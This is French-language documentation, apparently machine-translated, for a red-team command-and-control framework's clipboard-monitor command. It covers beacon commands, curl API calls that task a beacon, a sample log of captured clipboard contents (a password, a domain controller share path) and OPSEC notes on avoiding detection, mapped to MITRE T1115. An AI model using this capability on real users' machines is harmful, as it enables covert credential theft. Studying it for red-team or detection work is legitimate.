Moniteur de presse-papiers¶
Capturez et surveillez le presse-papiers Windows. Prend en charge les lectures ponctuelles et la surveillance continue des modifications avec des intervalles d'interrogation configurables.
ATTAQUE À ONGLET&CK
La surveillance du Presse-papiers est mappée à T1115 - Données du Presse-papiers.
Commandes¶
| Commande | Syntaxe | Description |
|---|---|---|
clipboard | clipboard | Lecture instantanée du contenu actuel du presse-papiers |
clipboard start | clipboard start [interval_ms] | Démarrer la surveillance continue du presse-papiers |
clipboard stop | clipboard stop | Arrêter la surveillance continue |
Lecture instantanée¶
clipboard¶
Lire le contenu actuel du presse-papiers (texte uniquement, format CF_UNICODETEXT). Renvoie le texte actuel ou "(presse-papiers vide ou sans texte)" si le presse-papiers contient des données non textuelles.
Syntaxe du shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "clipboard"}'
Scripts CNA :
Surveillance continue¶
clipboard start [interval_ms]¶
Démarrez un moniteur de presse-papiers en arrière-plan qui recherche les modifications à un intervalle configurable. Lorsqu'un nouveau texte est détecté, il est horodaté et ajouté à un fichier de sortie dans %TEMP%.
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
interval_ms | int | Non | 1000 | Intervalle d'interrogation en millisecondes |
Syntaxe du shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "clipboard start 500"}'
Exemple de résultat :
Clipboard monitor started, interval=500ms, output=C:\Users\labuser\AppData\Local\Temp\clipboard_20260219_143022.txt
Le fichier de sortie contient des entrées horodatées uniquement lorsque le contenu du presse-papiers change :
--- Clipboard monitor started at 2026-02-19T14:30:22Z ---
[2026-02-19T14:30:23Z] Password123!
[2026-02-19T14:31:45Z] \\DC01\SYSVOL\corp.local
[2026-02-19T14:32:10Z] SELECT * FROM users WHERE admin=1
--- Clipboard monitor stopped at 2026-02-19T14:35:00Z ---
clipboard stop¶
Arrêtez le moniteur du presse-papiers en arrière-plan.
Syntaxe du shell :
Comment ça marche¶
- One-shot (
get) : Ouvre le presse-papiers viaOpenClipboard(), lit le texte avecGetClipboardData(CF_UNICODETEXT), convertit UTF-16 en chaîne Go à l'aide deGlobalLock/GlobalUnlocket ferme le presse-papiers. - Continu (
start) : Génère une goroutine qui interroge le presse-papiers à l'intervalle configuré. Enregistre uniquement les entrées lorsque le contenu change (détection de changement). Écrit des entrées horodatées dans un fichier de sortie dans%TEMP% - Stop : Ferme le canal d'arrêt, mettant ainsi fin à la goroutine d'interrogation. Le fichier de sortie est finalisé avec un horodatage de fin
Considérations OPSEC
- Appels
OpenClipboard/GetClipboardDatadepuisuser32.dll-- ces appels d'API provenant de processus inhabituels peuvent être signalés - La surveillance continue crée un fichier sur le disque dans
%TEMP%avec le contenu du presse-papiers - Aucune création de nouveau processus : tous les accès au presse-papiers se font en ligne dans le processus de beacon.
- La détection des modifications évite les écritures excessives (enregistre uniquement lorsque le contenu diffère du dernier sondage)
- MITRE ATT&CK : T1115 (Données du Presse-papiers)